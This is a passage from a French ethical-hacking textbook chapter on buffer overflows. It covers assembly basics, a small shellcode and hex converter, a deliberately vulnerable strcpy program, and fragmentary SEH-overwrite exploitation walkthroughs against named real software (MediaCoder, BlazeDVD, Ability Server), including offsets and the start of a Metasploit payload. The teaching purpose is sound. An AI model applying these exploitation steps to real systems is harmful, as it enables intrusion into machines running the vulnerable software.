Les failles applicatives
Généralités
Les attaques par buffer overflow sont parmi les plus répandues. Elles représentent environ 60 % des attaques connues. Il s’agit d’exploiter un bug dans la gestion des zones mémoire déclarées dans le programme, afin de lui faire exécuter une action qu’il n’était pas censé faire.
De manière générale, le pirate essaiera d’obtenir un accès distant à la machine victime en prenant le contrôle sur le shell (ligne de commande sous Linux). Suivant la méthode utilisée, on appelle cela un "bind de shell" ou un "reverse connection".
Cela sera essayé sur un fichier binaire ayant le SUID root (c’est-à-dire un programme qui se lance au démarrage avec les droits de l’administrateur sous Linux), afin d’élever ses privilèges jusqu’au statut de root.
Pour arriver à cela, il faut être très familier avec l’Assembleur, avoir des notions de programmation et bien connaître la structure et le fonctionnement d’un ordinateur et surtout du microprocesseur.
Notions d’Assembleur
1. Introduction
Il faut savoir quand écrire en Assembleur : il y a des moments où il n’y a pas d’autre possibilité que d’écrire en Assembleur et d’autres où cela n’est pas utile. Le système d’exploitation, mais aussi un bon nombre de produits standards, est programmé de telle sorte que l’Assembleur est simplement inévitable. Le reverse engineering et les failles applicatives sont des exemples où l’Assembleur est omniprésent.
2. Premiers pas
a. Apprenons à compter
Nous avons déjà tous rencontré dans nos lectures des nombres exprimés en hexadécimal ou en binaire. Le binaire est le langage des PC ; que nous écrivions des programmes en Assembleur, en C ou tout autre langage, le PC comprend le binaire, il parle en binaire.
L’hexadécimal est fait pour permettre aux humains une meilleure compréhension du langage du PC.
b. Le binaire
Le binaire est composé de deux éléments : le 0 et le 1.
Une suite de huit éléments binaires est appelée un octet, une suite de seize éléments binaires est appelée un mot (2 octets) et une suite de trente-deux éléments binaires est appelée un double mot (4 octets).
Les microprocesseurs Intel sont composés de registres. Nous utiliserons ces registres pour commencer à travailler avec l’Assembleur.
EAX, EBX, ECX et EDX sont des registres 32 bits. Ils contiennent respectivement AX, BX, CX, DX (16 bits) dans leur partie basse qui eux-mêmes sont composés de AH, BH, CH, DH (8 bits) dans leur partie haute et de AL, BL, CL, DL (8 bits) dans leur partie basse. Voici un petit schéma qui illustre ceci :
Les registres EAX, EBX, ECX et EDX ne sont disponibles qu’en mode protégé...
Bases des shellcodes
Un shellcode désigne un bout de code en langage machine. Il n’est ni plus ni moins qu’un programme très petit exécuté par votre processeur, il est donc capable de faire tout ce que peut faire n’importe quel programme.
1. Exemple 1 : shellcode.py
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
jmp short string
code:
pop ecx; on place l'adresse mémoire de la phrase dans la pile
mov bl,1
mov dl,23
mov al,4
int 0x80; les quatre lignes précédentes forment le write()
dec bl
mov al,1 int 0x80; les trois lignes précédentes composent le exit()
string :
call code
db 'bonjour tout le monde!'
Pour pouvoir utiliser ce code pour une attaque de type buffer overflow, nous voulons le transformer en code hexadécimal.
Pour cela, nous utilisons un programme réalisé en Python, donné ci-dessous (shellcode.py), qui transforme directement le code en hexadécimal. Pour la compréhension de ce programme, reportez-vous au livre de Gérard Swinnen (http://www.inforef.be/swi/download/python_notes.pdf).
Il faut que le programme en Assembleur soit dans le même répertoire que shellcode.py.
shellcode.py
#!/usr/bin/env python
import os
file=raw_input("entrez le nom de votre programme en Assembleur\n")
file1=file.split('.')
command="nasm "+file+" -o "+file1[0]+".o"
os.system(command)
command2="ndisasm -u "+file1[0]+".o >> shelltemp"
os.system(command2)
fd=open("shelltemp",'r')
ligne="".join(fd.readline())...
Les buffer overflows
1. Quelques définitions
-
Exploit : tirer parti d’une vulnérabilité pour que le système cible réagisse d’une manière autre que celle prévue. L’exploit est aussi l’outil, la suite d’instructions ou le code qui est utilisé pour exploiter une vulnérabilité.
-
0 day : c’est un exploit pour une vulnérabilité qui n’a pas encore été publiquement publiée, fait quelquefois référence à la vulnérabilité elle-même.
-
Fuzzer : c’est un outil ou une application qui va envoyer à un programme tout ou partie de valeurs inattendues afin de déterminer si un bug existe sur ce système.
Wikipédia donne cette définition pour les buffer overflows :
"En informatique, un dépassement de tampon ou débordement de tampon (en anglais, buffer overflow) est un bogue causé par un processus qui, lors de l’écriture dans un tampon, écrit à l’extérieur de l’espace alloué au tampon, écrasant ainsi des informations nécessaires au processus.
Lorsque le bogue se produit non intentionnellement, le comportement de l’ordinateur devient imprévisible. Il en résulte souvent un blocage du programme, voire de tout le système.
Le bogue peut aussi être provoqué intentionnellement et être exploité pour violer la politique de sécurité d’un système. Cette technique est couramment utilisée par les pirates informatiques. La stratégie du pirate est alors de détourner le programme bogué en lui faisant exécuter des instructions qu’il a introduites dans le processus."
Pour bien comprendre ces définitions, il est essentiel d’avoir...
Les failles Windows
1. Introduction
Les concepts vus sous Linux dans les chapitres précédents sont toujours valables sous Windows en transposant bien sûr suivant le système d’exploitation.
Le fonctionnement de la pile et du heap est bien sûr similaire.
Comme sous Linux, nous aurons besoin d’un débogueur. Nous utiliserons ici Immunity Debugger (https://www.immunityinc.com/products/debugger) pour tenter d’exploiter les failles. Ce débogueur est gratuit, il comprend :
-
une interface simple et compréhensible ;
-
un langage de script robuste et puissant permettant d’automatiser le débogage ;
-
la possibilité de connexion avec d’autres outils de développement d’exploits.
Vous trouverez sur le Net beaucoup de tutoriels pour apprendre à l’utiliser ainsi que diverses explications de Crack-me (petits logiciels créés pour apprendre le Reverse Engineering) utilisant Immunity Debugger.
Nous utiliserons Dev-C++ pour écrire et compiler nos programmes : http://www.01net.com/telecharger/windows/Programmation/langage/fiches/2327.html
2. Premiers pas
Nous utiliserons pour commencer le programme suivant afin de comprendre les bases. Nous poursuivrons sur des programmes commerciaux réels pour les mettre en application.
#include "string.h"
void function(char* buf)
{
char ownz[10];
strcpy(ownz, buf);
}
int main(int argc,char* argv[ ])
{
function(argv[1]);
return 0;
}
a. En mode console
Nous allons dans un premier temps lancer notre programme en ligne de commande...
Cas concret : Ability Server
Pour travailler sur les attaques de type buffer overflow, le mieux est d’avoir deux machines virtuelles (par exemple VirtualBox) qui vont nous permettre de recréer la machine victime en local avant de réaliser l’attaque en réel.
La première machine sera sous Debian et la seconde, la victime, sous Windows.
La prise d’informations sur la victime sera bien sûr faite au préalable afin de recréer une machine parfaitement identique. Il faut connaître l’OS utilisé, la version exacte du logiciel installé qui est susceptible d’être faillible et savoir si un Service Pack a été installé.
Pour l’exemple, la victime sera une machine avec un Windows XP Service Pack 2 avec Ability Server 2.34. Vous pouvez trouver ce serveur FTP en faisant une recherche sur Google.
1. Fuzzing
La première chose à faire est de tester le logiciel afin de découvrir s’il est susceptible d’être faillible. Il existe pour cela des logiciels presque "clés en main" tels que Fusil ou Spike. Mais le but ici est de comprendre le fonctionnement d’un fuzzer, nous allons donc le fabriquer.
Nous pouvons utiliser n’importe quel langage, il faut savoir programmer des sockets (connexions à distance TCP/IP ou UDP) et connaître le protocole que l’on va attaquer (FTP pour notre exemple). Le meilleur moyen pour connaître un protocole est de se procurer sa RFC ; une simple recherche Google nous aidera.
D’après Wikipédia : "Le fuzzing est une technique pour tester des logiciels. L’idée est d’injecter des données aléatoires dans les entrées d’un programme. Si le programme échoue (par exemple en crashant ou en générant une erreur), alors il y a des défauts à...
Cas concret : MediaCoder-0.7.5.4796
Le logiciel utilisé ici est MediaCoder-0.7.5.4796, que vous pouvez récupérer à l’adresse suivante : http://www.digital-digest.com/software/mediacoder_history.html
Nous pouvons bien sûr nous entraîner sur ce logiciel car la faille exploitée a été publiée : http://www.exploit-db.com/exploits/15663/
1. Crash du logiciel
Nous allons tenter de faire planter le logiciel MediaCoder. Pour cela, nous allons créer un petit programme en Python qui va créer le fichier crash.m3u. Nous ouvrirons ce dernier avec MediaCoder, qui sera lui-même attaché à Immunity Debugger.
obFichier = open('crash.m3u','w')
obFichier.write("A"*2000)
obFichier.close()
Les 2000 "A" sont mis au hasard ; ce que nous voulons, c’est savoir exactement quand sont écrasés le SEH et le next SEH.
Nous pouvons aller voir ce qui se passe du côté du SEH : View - SEH chain.
Nous remarquons que l’on a bien écrasé le SEH avec 41414141.
Continuons notre exploration en remplaçant les A par 2000 caractères qui, pris quatre à quatre, ne sont jamais identiques. Pour cela, nous utilisons genbuf.py, dont le code est donné ci-dessous :
#!/usr/bin/env python
import sys
import string
def usage():
print "Usage: ", sys.argv[0], " <number> [string]"
print " <number> est la taille du buffer a generer."
print " [string] est la chaine de caracteres a retrouver
(optionnel)."
print ""
print " si [string] est utilise, le buffer ne sera pas ...
Cas concret : BlazeDVD 5.1 Professional
Nous allons étudier ici une vulnérabilité découverte en 2009 et disponible à l’adresse : https://packetstormsecurity.org/files/82927/BlazeDVD-5.1-PLF-Buffer-Overflow.html
Cet exploit pourra être effectif en utilisant un fichier PLF que nous ouvrirons avec l’application.
Commençons par déterminer combien d’arguments nous devons envoyer (écrire dans le fichier PLF) afin d’écraser la structure SE.
Nous travaillerons sur un système Windows Vista.
obFichier = open('blazesploit.plf','w')
obFichier.write("A"*608+"BBBBCCCC")
obFichier.close()
Nous voyons ici que nous avons deux solutions : soit un accès direct à EIP car on retrouve 41414141 dans EIP, soit en passant par le SEH puisque nous avons 43434343 dans le SE handler et 42424242 dans le next SEH.
Nous avons aussi ESP qui pointe sur notre buffer.
Regardons maintenant dans la table ASLR (!ASLRdynamicbase qui se trouve dans les plugins).
Beaucoup de modules semblent ne pas utiliser l’ASLR ("randomization" des adresses), nous pourrions par exemple utiliser skinscrollbar.dll.
Nous écrasons EIP après 260 arguments. Nous pourrions donc utiliser un jmp esp, un call esp ou push esp/ret.
En recherchant dans les DLL, nous trouvons :
-
blazedvd.exe : 79 adresses (mais des null bytes !) ;
-
skinscrollbar.dll : 0 adresse ;
-
configuration.dll : 2 adresses, pas de null bytes ;
-
epg.dll : 20 adresses, pas de null bytes ;
-
mediaplayerctrl.dll : 15 adresses, 8 avec des null bytes ;
-
netreg.dll : 3 adresses, pas de null bytes ;
-
versioninfo.dll : 0 adresse.
# windows/exec - 302 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
buffer="A" * 260 ...
Conclusion
Ce chapitre vous a donné un aperçu des failles Linux et Windows courantes ainsi que des techniques utilisées.
Nous verrons dans la partie juridique ce que nous pouvons faire légalement et nos obligations lors de la découverte des failles.
La veille technologique est très importante et indispensable, surtout en matière de failles applicatives. L’abonnement aux flux RSS, la visite régulière des sites spécialisés, la réception quotidienne des failles découvertes et l’étude journalière de ces failles, et surtout une pratique intensive sont la clé de voûte pour réussir et se faire un nom dans ce milieu très fermé.
La persévérance sera votre meilleur atout.
Références
Assembleur : http://www.e-booksdirectory.com/details.php?ebook=1881
Python : http://www.inforef.be/swi/download/python_notes.pdf
Buffer overflow attacks : Detect, exploit, prevent de Jason Deckard - Édition syngress
David Litchfield’s guide to Buffer Overflow Attacks - Édition syngress
Debugging With GDB The Gnu Source-Level Debugger - Édition GNU Press
Hacking : The Art of Exploitation - Édition No Starch Press US
Blog de IvanLeFou : http://www.ivanlef0u.tuxfamily.org/
Site de corelan : http://www.corelan.be